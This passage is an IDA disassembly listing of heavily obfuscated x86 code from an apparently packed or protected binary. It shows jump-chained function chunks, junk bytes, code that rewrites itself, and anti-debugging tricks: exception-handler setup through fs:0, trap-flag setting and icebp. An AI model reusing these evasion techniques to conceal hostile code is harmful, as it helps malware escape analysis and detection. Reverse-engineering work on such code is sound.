4 mov dword ptr [ecx], offset sub_43E3D6 jmp loc_43E97C ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0Fh dd 0FFB6A889h, 348759FFh, 458B5E24h, 607368F8h, 8159D141h dd 352F24F1h, 966EE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43E682: ; CODE XREF: sub_43DA03-6318j ; sub_43BE3C+42Aj mov edx, [eax] or edx, edx jz loc_43A989 jmp loc_43BF9A ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_43E694: ; CODE XREF: _802izwe5:0043FA08j jmp near ptr sub_43D7EE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43E69B: ; CODE XREF: _802izwe5:0043C1E4j jmp loc_43E308 ; --------------------------------------------------------------------------- loc_43E6A0: ; CODE XREF: _802izwe5:0043E558j push ecx jmp loc_4394A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E6A6: ; CODE XREF: sub_43C65A+159j push offset loc_4382A8 jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 42685700h, 5FD6660Fh, 66C9CF81h, 45E9F4EFh, 0FFFFB4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438C04 loc_43E6C4: ; CODE XREF: sub_438C04+32C6j or eax, ebx pop ebx xchg eax, [esp+8+var_8] popf nop jmp loc_43D6CA ; END OF FUNCTION CHUNK FOR sub_438C04 ; --------------------------------------------------------------------------- loc_43E6D1: ; CODE XREF: _802izwe5:0043EDCFj mov ecx, esp push edi push 16B206F2h pop edi and edi, 85F94F81h add edi, 0FB4FF990h add ecx, edi jmp loc_43A359 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C604 loc_43E6EF: ; CODE XREF: sub_43C604+Bj push offset loc_43DF59 jmp loc_43B58F ; END OF FUNCTION CHUNK FOR sub_43C604 ; --------------------------------------------------------------------------- align 2 dw 0E581h dd 3A9A815Bh, 0F792EE81h, 1C68717Ah db 0B0h, 1Eh, 9Ah byte_43E70B db 67h ; DATA XREF: sub_439ED1+38D0o dd 68F64h, 24048700h, 9331E958h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E71C: ; CODE XREF: sub_439ED1-101Aj mov byte ptr [ebx], 9Ch push offset byte_43B7C1 jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 81h ; db 0C8h ; È db 26h ; & db 0A1h ; ¡ db 0F3h ; ó db 0ABh ; « db 0E8h ; è db 0CBh ; Ë db 0D9h ; Ù db 0FFh db 0FFh db 0 db 0E9h ; é db 79h ; y db 94h ; ” dd 0E900FFFFh, 0FFFFD7E5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E740: ; CODE XREF: sub_439ED1+1266j jmp loc_43D587 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0E9h, 2Eh, 9Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EACE loc_43E74A: ; CODE XREF: sub_43EACE+Cj pushf jmp loc_439D9B ; END OF FUNCTION CHUNK FOR sub_43EACE ; --------------------------------------------------------------------------- rol eax, 1Ch add eax, 45FC526Ch and eax, 4D1B76C6h add eax, 0BB27B4CBh or eax, eax jz loc_43EF41 jmp loc_439C38 ; --------------------------------------------------------------------------- align 4 dd 0B580850Fh, 0EE9FFFFh, 0FFFFC9h, 9D1AE2C1h, 6FE91987h dd 51FFFFB5h, 2B552168h, 0BF5759CCh, 438210h, 0FFF916E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E79D: ; CODE XREF: sub_439ED1+990j mov byte ptr [edi], 3 xchg edx, [esp-0Ch+arg_8] mov edi, edx pop edx add edx, ecx jmp loc_43B03F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 51h dd 0FFCC63E8h, 0C0E5E9FFh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E7BB: ; CODE XREF: sub_439ED1:loc_43BF73j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_43B802 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43E7D7: ; CODE XREF: sub_43F688:loc_4373EEj pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- align 2 dw 2FE9h dd 0E9FFFFD3h, 0FFFFCD6Ah, 64670000h, 36FFh, 26896467h dd 0FE90000h, 0FFFFB8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E7F8: ; CODE XREF: sub_439ED1+C51j or eax, 0A8CEAB97h add eax, 4545029Dh jmp loc_43C6BA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43E809: ; CODE XREF: _802izwe5:0043E210j pop edi sub edi, 51C02E66h rol edi, 6 cmp edi, 0D2E9AA63h jmp loc_43F150 ; --------------------------------------------------------------------------- loc_43E81E: ; CODE XREF: _802izwe5:00437E7Cj add eax, 0E033D1B5h jmp loc_439EA4 ; --------------------------------------------------------------------------- loc_43E829: ; CODE XREF: _802izwe5:0043CCF0j xchg esi, [esp] pop esi mov byte ptr [edx], 8Bh pop edx push 16C88B6Dh jmp loc_43EAC0 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E83D: ; CODE XREF: sub_439ED1+EE4j mov esi, [esi] xchg esi, [esp-1Ch+arg_14] call eax jmp near ptr dword_437CE4+28h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 57h dd 3C87FD8Bh, 0E9EC8B24h, 0FFFFD47Fh, 9C07C600h, 6827565Fh dd 7E25E694h, 0AD88E95Eh, 8D00FFFFh, 43EC7D05h, 0E7F1E800h dd 0BA52FFFFh, 43D936h, 0FFE542E9h, 0F13300FFh, 0FFD776E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E88A: ; CODE XREF: sub_439ED1+E29j db 67h icebp sbb edi, 89162CEAh jmp loc_43F504 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 68CC8B00h, 43AEE6h, 0FFAF5FE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E8A7: ; CODE XREF: sub_43C65A-FB7j push ecx jmp loc_43AD04 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43E8AF: ; CODE XREF: _802izwe5:0043FA30j pop ecx xor ecx, 9CE3B1A3h add ecx, 0D6253729h push eax push 438721h jmp loc_43888A ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E8CA: ; CODE XREF: sub_439ED1+5453j and ebx, 0F0B0988Fh add ebx, 5971B706h jnb loc_43F0A0 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43E8DE: ; CODE XREF: _802izwe5:004394BFj jmp loc_439193 ; --------------------------------------------------------------------------- align 4 dd 9D5E900h, 0E95D0000h, 7ABh db 0 ; --------------------------------------------------------------------------- loc_43E8F1: ; CODE XREF: _802izwe5:loc_43EC96j xchg eax, [esp] or eax, 100h xchg eax, [esp] popf nop jmp near ptr byte_43B3B9+2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D600 loc_43E904: ; CODE XREF: sub_43D600:loc_43B3A5j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al jmp loc_43F1AE ; END OF FUNCTION CHUNK FOR sub_43D600 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_43E92C: ; CODE XREF: _802izwe5:0043E238j js loc_438464 pop dword ptr fs:0 xchg eax, [esp] pop eax xchg esi, [esp] xchg edx, [esp] mov esi, edx pop edx jmp loc_43E2DF ; --------------------------------------------------------------------------- align 4 loc_43E94C: ; CODE XREF: _802izwe5:0043E58Cj mov ecx, [ebp+0] jmp loc_43A6CA ; --------------------------------------------------------------------------- dd 0CDC10000h db 17h byte_43E959 db 67h, 64h, 8Fh ; DATA XREF: _802izwe5:0043CA1Ao dd 87000006h, 3582404h, 686852C5h, 0E9C9F74Ch, 0FFFFD3CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_43E972: ; CODE XREF: _802izwe5:0043DE60j mov dword ptr [ecx], offset loc_43F832 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E97C: ; CODE XREF: sub_43C65A+2004j jmp loc_43EABC ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 dw 6467h dd 36FFh, 26896467h, 0E0E90000h, 0FFFFCAh ; --------------------------------------------------------------------------- loc_43E994: ; DATA XREF: sub_439ED1+1FB4o mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_4376E1 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_43D917 loc_43E9B0: ; CODE XREF: sub_43D917+Cj jmp near ptr word_43DB9A ; END OF FUNCTION CHUNK FOR sub_43D917 ; --------------------------------------------------------------------------- db 0E9h, 87h, 0E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E9BA: ; CODE XREF: sub_439ED1+1C96j jmp loc_43F558 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h dd 0DE3FFA81h, 0E1E9BD35h, 87FFFFF3h, 0C6A1E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_43E9D2: ; CODE XREF: _802izwe5:0043BAA4j retn ; --------------------------------------------------------------------------- jmp locret_4394C4 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43E9D9 proc near ; CODE XREF: sub_439ED1+230p ; sub_439ED1+533j ; FUNCTION CHUNK AT 0043BB8B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E1A0 SIZE 00000015 BYTES xchg ecx, [esp+0] xchg esi, [esp+0] mov ecx, esi pop esi add eax, ebp add eax, 324443E7h mov eax, [eax] jmp loc_43E1A0 sub_43E9D9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_43E9F1: ; CODE XREF: sub_43F3B2-6AE7j mov byte ptr [eax], 8Bh xchg edi, [esp+8+var_8] mov eax, edi pop edi pop eax and eax, 2802005Bh jmp loc_43D976 ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- xor edi, edx pop ebx loc_43EA09: ; CODE XREF: _802izwe5:loc_439B01j add edx, 0D0169914h pop eax aad 0E8h push ebx xchg eax, ecx ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EA16: ; CODE XREF: sub_439ED1+AB2j jmp loc_43C260 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- shl esi, 15h jmp sub_43AE83 ; --------------------------------------------------------------------------- align 4 dd 243C8700h, 0C015FF5Fh db 70h, 42h, 0 ; --------------------------------------------------------------------------- loc_43EA2F: ; CODE XREF: _802izwe5:0043C5FEj jmp loc_43FA94 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EA36: ; CODE XREF: sub_439ED1:loc_43812Fj lea eax, sub_437DA2 call loc_43A26E jmp loc_43C733 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438989 loc_43EA47: ; CODE XREF: sub_438989+51ECj jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_438989 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D573 loc_43EA4C: ; CODE XREF: sub_43D573+8j jmp loc_43F29C ; END OF FUNCTION CHUNK FOR sub_43D573 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43EA52: ; CODE XREF: sub_43C034-D8Fj jmp loc_43ACAC ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- align 4 dd 0DE9FE900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EA5F: ; CODE XREF: sub_439ED1+37Aj pop edi jmp loc_43EF47 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EA67: ; CODE XREF: sub_439ED1:loc_43D828j mov eax, offset loc_4399FF jmp loc_43C358 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EA72: ; CODE XREF: sub_439ED1:loc_43B71Fj mov fs:0, esp jmp loc_43BF6E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 loc_43EA7E: ; CODE XREF: _802izwe5:0043DD38j mov ebp, [edx] sbb edx, 0C32DD9BFh pop dword ptr fs:0 xchg eax, [esp] pop eax push edx push 5A27EB7Ch pop edx jmp near ptr dword_43B40C+16h ; --------------------------------------------------------------------------- db 2 dup(0) word_43EA9E dw 6852h ; DATA XREF: sub_4391DC+6080o dd 7C5FD25Ah, 0EC2C15Ah, 9F13F281h, 0C203F496h, 8B240C87h dd 0B55FE9D1h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43EABC: ; CODE XREF: sub_43C65A:loc_43E97Cj xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- loc_43EAC0: ; CODE XREF: _802izwe5:0043E836j jmp loc_43BAAA ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43EAC7: ; CODE XREF: _802izwe5:0043916Aj jmp loc_43A855 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43EACE proc near ; CODE XREF: _802izwe5:loc_437E3Fp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00439D9B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043E74A SIZE 00000006 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43E74A sub_43EACE endp ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_43EAE3: ; CODE XREF: _802izwe5:0043838Cj jmp loc_43F869 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43EAE9: ; CODE XREF: sub_438FC9+8p push dword ptr fs:0 mov fs:0, esp ; --------------------------------------------------------------------------- db 0F0h, 0CCh, 0E9h ; --------------------------------------------------------------------------- pop ds mov dh, 0FFh inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EAFD: ; CODE XREF: sub_439ED1:loc_439226j sbb eax, 0BBC610F4h shr esi, 1Dh jmp loc_43ED1C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- add ecx, 0A0h mov dword ptr [ecx], offset loc_43A1A5 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 67h dd 36FF64h, 89646700h, 0E9000026h, 0FFFFEC04h, 38E80000h dd 0E9FFFFE3h, 0FFFFAC99h db 0 ; --------------------------------------------------------------------------- loc_43EB39: ; CODE XREF: _802izwe5:004395F2j and esi, 0C104B1FBh cmp esi, 60113DC9h jmp loc_43A172 ; --------------------------------------------------------------------------- dw 0E800h dd 0AEBh, 0FFFBE0E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43EB57 proc far ; CODE XREF: _802izwe5:00438080p ; _802izwe5:0043C223j xchg ecx, [esp+0] pop ecx idiv ecx push offset loc_43DBA2 jmp loc_43A630 sub_43EB57 endp ; --------------------------------------------------------------------------- align 4 dd 0FDF88100h, 0E9AE5CF4h, 0FFFF9EBCh, 1C70000h, 43E5D6h dd 0C359C033h db 0 ; --------------------------------------------------------------------------- loc_43EB81: ; CODE XREF: _802izwe5:0043B695j jmp loc_43CC65 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EB87: ; CODE XREF: sub_439ED1+49Bj jmp near ptr dword_43718C+55h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 719E900h, 0 dd 0AB00E951h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EB9B: ; CODE XREF: sub_439ED1:loc_43A9F8j add eax, 2582A389h add ecx, eax pop eax mov [ecx], eax jmp near ptr dword_437548+0C0h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C0C5 loc_43EBAB: ; CODE XREF: sub_43C0C5+1Cj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43D5A7 ; END OF FUNCTION CHUNK FOR sub_43C0C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EBC0: ; CODE XREF: sub_439ED1:loc_43C340j push ecx jmp near ptr dword_437548+8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43EBC7: ; CODE XREF: _802izwe5:0043E3C2j rol edx, 1Dh xor edx, 0E7B5A3B4h add ecx, edx ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43EBD2: ; CODE XREF: sub_43F18B:loc_43DC16j pop edx jmp loc_43828C ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_43EBD9: ; CODE XREF: sub_43BFFF+370Aj xor eax, eax add ecx, 4 call near ptr sub_43C034 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; START OF FUNCTION CHUNK FOR sub_43D6F6 loc_43EBE6: ; CODE XREF: sub_43D6F6+7j jmp loc_43CC98 ; END OF FUNCTION CHUNK FOR sub_43D6F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43EBEB: ; CODE XREF: sub_43C65A-6B2j jmp loc_43A45A ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 87CE0300h, 0FF582404h, 4270C015h, 0A38BE900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EC04: ; CODE XREF: sub_439ED1:loc_439D59j ; sub_439ED1:loc_43A6DEj call sub_43E4D7 add cl, ch loc_43EC0B: ; CODE XREF: sub_439ED1+2DF4j mov esi, 0E9FFFF87h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0FFFFE7A1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43EC14: ; CODE XREF: sub_43C65A+3FFj jmp loc_4377EB ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_43EC1C: ; CODE XREF: sub_43E3D6:loc_4394F4j xor edi, 59897399h or edi, 8A01EF59h xor edi, 0BA05EF5Bh add ecx, edi pop edi mov [ecx], eax push eax jmp loc_43DC63 ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- db 81h, 0F9h, 4Dh dd 0E9B195D4h, 0FFFFFA1Fh, 0C300h dword_43EC48 dd 0A0D8CB68h, 0FDE858C0h, 0E9FFFF8Fh, 0FFFFFF3Ch ; DATA XREF: sub_4378C2+3B15o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EC58: ; CODE XREF: sub_439ED1+95j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_43ED06 jmp loc_43804E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EC7B: ; CODE XREF: sub_439ED1:loc_43A4FFj pop eax retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43EC7D: ; DATA XREF: sub_43F3B2+Ao jnz loc_437E5E jnb loc_43C1DE push esi call loc_43C848 loc_43EC8F: ; CODE XREF: _802izwe5:0043D9FDj jmp loc_43B4DC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43EC96: ; CODE XREF: _802izwe5:0043C461j jmp loc_43E8F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43EC9C: ; CODE XREF: sub_43C65A-F7Fj mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 jmp loc_438DAF ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43ECB2: ; CODE XREF: sub_439ED1+E5Aj or ecx, 21763A95h xor ecx, 280FA832h add ecx, ebp add ecx, 228F2C87h jmp loc_43C706 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_43ECCE proc near ; DATA XREF: sub_43DA03-5C33o ; FUNCTION CHUNK AT 0043C3A9 SIZE 00000005 BYTES push ecx mov ecx, offset loc_438A60 jmp loc_43C3A9 sub_43ECCE endp ; --------------------------------------------------------------------------- db 2 dup(0), 1Bh dd 0DB66E9D5h, 0FFFFh, 36FF6467h, 64670000h, 2689h, 0D3F7F12Eh dd 0FFFC5DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43ECFA: ; CODE XREF: _802izwe5:004389D1j jnb loc_43D383 and edi, 678F6A31h loc_43ED06: ; DATA XREF: sub_439ED1+4D9Do pop dword ptr fs:0 xchg eax, [esp] pop eax add eax, 205C104Ah jmp loc_43F468 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43ED1C: ; CODE XREF: sub_439ED1+4C35j ; _802izwe5:loc_43F7A4j test ebx, 8628EF88h jmp near ptr dword_43729C+6Dh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43ED28: ; CODE XREF: sub_439ED1:loc_43B169j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43CA83 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h db 0 ; --------------------------------------------------------------------------- loc_43ED49: ; CODE XREF: _802izwe5:0043EF5Fj jmp locret_43DF4B ; --------------------------------------------------------------------------- loc_43ED4E: ; CODE XREF: _802izwe5:loc_43D540j shl ecx, 5 sub ebx, esi and edi, 8F20D068h mov edi, eax jmp loc_43985B ; --------------------------------------------------------------------------- push offset sub_43C169 jmp locret_4373EC ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C50C loc_43ED6C: ; CODE XREF: sub_43C50C:loc_437D94j xchg eax, [esp+8+var_8] push edi push 57EB7364h pop edi jmp loc_43F106 ; END OF FUNCTION CHUNK FOR sub_43C50C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437DA2 loc_43ED7B: ; CODE XREF: sub_437DA2:loc_438E91j xchg edi, [esp+4+var_4] mov esi, offset dword_43D614 jmp loc_4397CB ; END OF FUNCTION CHUNK FOR sub_437DA2 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43ED8A: ; CODE XREF: _802izwe5:004383BFj mov byte ptr [ebx], 0FFh pop ebx sub edx, 5B21F5EFh test edx, 1 jmp loc_439B01 ; --------------------------------------------------------------------------- align 10h dd 5E243487h, 0C3A76857h, 0FBE9FF4Bh, 0FFFFA2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EDB0: ; CODE XREF: sub_439ED1-520j pushf push 4F91CBC1h pop esi add esi, 0D3EE6D75h rol esi, 1 add esi, 0B8FF8D98h popf add ecx, esi jmp loc_43E117 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 push ecx jmp loc_43E6D1 ; --------------------------------------------------------------------------- loc_43EDD4: ; CODE XREF: sub_43CED8+9j push ebp mov ebp, edi xchg ebp, [esp] call sub_43DD1C ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E066 loc_43EDE1: ; CODE XREF: sub_43E066+6j jmp loc_43A5F4 ; END OF FUNCTION CHUNK FOR sub_43E066 ; --------------------------------------------------------------------------- dw 9BE9h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_43EDEB: ; CODE XREF: _802izwe5:00438E53j retn ; --------------------------------------------------------------------------- dd 0FF9EDEE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EDF2: ; CODE XREF: sub_439ED1:loc_43BA85j jmp loc_43DEB1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_43EDF7 proc far ; DATA XREF: _802izwe5:00438E4Eo inc dword ptr [ebp-4] call sub_438CBC jmp loc_43C761 sub_43EDF7 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43EE05: ; CODE XREF: _802izwe5:0043CA97j jbe loc_43D7B7 shr ecx, 1Eh xor ecx, esi jmp loc_43EF35 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_43EE19: ; CODE XREF: _802izwe5:00439D71j jmp loc_439A0C ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43EE1F: ; CODE XREF: _802izwe5:0043822Aj jmp loc_439498 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43EE26: ; CODE XREF: sub_43BE3C:loc_439999j xor esi, 0CCF6597Fh sub esi, 6896ACB0h xor esi, 80783DF0h add esi, 0C61394E6h jmp loc_438772 ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- loc_43EE43: ; CODE XREF: _802izwe5:00439493j add esi, 6204B448h push 4385A9h jmp loc_43A21F ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EE54: ; CODE XREF: sub_439ED1:loc_43A9FEj call sub_438E1C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h ; --------------------------------------------------------------------------- mov ecx, 0FFFFDBh ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43EE61: ; CODE XREF: sub_43F688-776Bj jo loc_43B668 js loc_43D018 push offset byte_43A971 jmp locret_43AD90 ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- loc_43EE77: ; CODE XREF: _802izwe5:loc_43D970j xchg eax, [esp] or eax, 100h xchg eax, [esp] popf nop jmp loc_43A671 ; --------------------------------------------------------------------------- popf jmp loc_437E49 ; --------------------------------------------------------------------------- db 0 ; 